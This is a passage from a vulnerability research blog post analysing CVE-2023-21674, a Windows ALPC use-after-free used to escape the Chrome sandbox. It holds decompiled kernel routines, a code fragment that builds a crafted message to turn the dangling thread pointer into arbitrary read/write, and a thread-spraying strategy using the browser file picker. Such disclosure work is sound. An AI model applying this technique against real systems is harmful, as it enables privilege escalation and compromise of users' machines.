// NtAlpcQueryInformationMessage --> AlpcpQueryTokenModifiedIdMessage -> AlpcpGetEffectiveTokenMessage
__int64 __fastcall AlpcpGetEffectiveTokenMessage(_ALPC_PORT *port_obj, _KALPC_MESSAGE *alpc_message, _QWORD *a3, __int64 a4, _BYTE *a5)
{
...
// Check Port == Server, Message Owner == Client
// 2 ==> Server, 4 ==> Client
owner_port = alpc_message->OwnerPort;
if ( (port_obj->u1.State & 6) != 2 || !owner_port || (owner_port->u1.State & 6) != 4 )
return 0xC0000022i64;
...
// Reference WaitingThread
waiting_thread = alpc_message->WaitingThread;
if ( !waiting_thread )
return 0xC0000022i64;
// Do Something with WaitingThread
result = SeCreateClientSecurityEx(waiting_thread, (__int64)&owner_port->PortAttributes.SecurityQos, 0, a4);
}
However, NtAlpcOpenSenderThread
and NtAlpcOpenSenderProcess
are not good candidates for exploitation because both are simply referencing and dereferencing the memory area pointed to by the dangling pointer. Also, AlpcpGetEffectiveTokenMessage
needs a server & client connection which is not available in a Chrome renderer process due to its untrusted integrity.
Thus we focus on the LpcpCopyRequestData
function, which is as follows.
// Called by NtWriteRequestData and NtReadRequestData
NTSTATUS __fastcall LpcpCopyRequestData(
char is_read,
HANDLE hPort,
PORT_MESSAGE *a3,
__int64 dataidx,
char *Address,
SIZE_T Length,
__int64 *a7)
{
...
result = AlpcpLookupMessage(alpc_port, a2a.MessageId, a2a.CallbackId, dataidx, &alpc_message);
if ( result < 0 ) { /* ERROR */ } waiting_thread = alpc_message->WaitingThread;
if ( waiting_thread )
{
result = 0xC000000D;
v17 = alpc_message;
datainfooffset = alpc_message->PortMessage.u2.s2.DataInfoOffset;
// if the datainfoOffset is set
if ( (_WORD)datainfooffset )
{
/**
Validating the length
.. Omitted ..
**/
// check datainfo->NumberOfEntries > dataindex
datainfo = (PLPCP_DATA_INFO)((char*)alpc_message + datainfooffset);
if ( datainfo->NumberOfEntries > (unsigned int)dataidx )
{
// [11]. datainfo will be retreived from meeesage
*(_OWORD *)datainfo = *(_OWORD *)&datainfo->Entries[dataidx];
result = datainfo->DataLength < Length ? 0xC000000D : 0;
}
}
if ( result >= 0 )
{
CurrentThread = KeGetCurrentThread();
// [12]. from and to address can be controlled from waiting_thread.
if ( is_read )
{
fromproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = datainfo[0];
toproc = (_EPROCESS *)waiting_thread->Tcb.Process;
fromaddr = Address;
}
else
{
toproc = (_EPROCESS *)CurrentThread->ApcState.Process;
toaddr = Address;
fromaddr = datainfo[0];
fromproc = (_EPROCESS *)waiting_thread->Tcb.Process;
}
// [13]. Copy data `fromaddr` in `fromproc` to `toaddr` of `toproc`
v15 = MmCopyVirtualMemory(fromproc, fromaddr, toproc, toaddr, Length, prev_mode, (__int64)&retsize);
...
}
If DataInfoOffset
of an ALPC message is set, a data information object represented by LPCP_DATA_INFO
structure is retrieved from the message ([11]
).
typedef struct _LPCP_DATA_INFO
{
ULONG NumberOfEntries;
struct
{
PVOID BaseAddress;
ULONG DataLength;
} Entries[1];
} LPCP_DATA_INFO, *PLPCP_DATA_INFO;
We can easily setup a LPCP_DATA_INFO
structure in the message like the following.
void SetupDataInfo(ULONG_PTR addr) {
...
RtlSecureZeroMemory(&pmSend, sizeof(pmSend));
pmSend.u1.s1.DataLength = MSG_LEN;
pmSend.u1.s1.TotalLength = pmSend.u1.s1.DataLength + sizeof(pmSend);
pmSend.MessageId = messageid;
pmSend.CallbackId = callbackid;
pmSend.u2.s2.DataInfoOffset = 0x30;
lpMem = CreateMsgMem(&pmSend, MSG_LEN, (LPVOID)longstr); PLPCP_DATA_INFO datainfo = (PLPCP_DATA_INFO)((ULONG_PTR)lpMem + pmSend.u2.s2.DataInfoOffset);
datainfo->NumberOfEntries = NumOfEntries; // CNT
for (int i = 0; i < NumOfEntries; i++) {
datainfo->Entries[i].BaseAddress = (PVOID)addrs[i]; // Address
datainfo->Entries[i].DataLength = (ULONG)0x1000; // Size
}
pwfdw->AlpcSendMessage = (PPORT_MESSAGE)lpMem;
pwfdw->AlpcSendMessagePort = hPort;
pwfdw->AlpcSendMessageFlags = (1 << 0x11); // ALPC_MSGFLG_SYNC_REQUEST
pwfdw->Flags = 0x1;
ULONG outlen = 0;
NtWaitForWorkViaWorkerFactory(hWorkerFactory, piocomp, 1, &outlen, pwfdw);
}
Finally, the address in LPCP_DATA_INFO
structure is read/written via MmCopyVirtualMemory
([13]
). Since the target process address is gotten from waiting_thread
which is a freed pointer, we can set it to an arbitrary value.
However, it is not easy to construct a fake _EPROCESS
structure without another information disclosure vulnerability. So instead of using a fake _EPROCESS
, we can utilize a thread of a high privileged process. If the thread of a high privileged process is allocated into the same memory region pointed to by the dangling pointer, we can achieve arbitrary read/write primitives in the process.
To spray threads of a high privileged process, we used showOpenFilePicker(); when the API is called, Chrome creates a new process in medium integrity. Also, the file picker process spawns many threads on creation, which makes it suitable for exploitation.
By utilizing arbitrary read/write primitives on the file picker process, we can eventually execute arbitrary code, in medium integrity.
More detailed information including PoC & exploit code is in Fermium-252: The Cyber Threat Intelligence Database. If you are interested in Fermium-252 service, contact us at contacts@theori.io.
This post provided the analysis on CVE-2023–21674 which is exploited in our 1-day full chain demo. The next post will be about windows LPE, CVE-2023–29360, which is exploited in Pwn2Own Vancouver 2023.
- https://github.com/hd3s5aa/CVE-2023-21674
- https://csandker.io/2022/05/24/Offensive-Windows-IPC-3-ALPC.html
- https://recon.cx/2008/a/thomas_garnier/LPC-ALPC-paper.pdf
- https://github.com/DownWithUp/ALPC-Example
- https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2023-21674
🔵 website: https://theori.io ✉️ vr@theori.io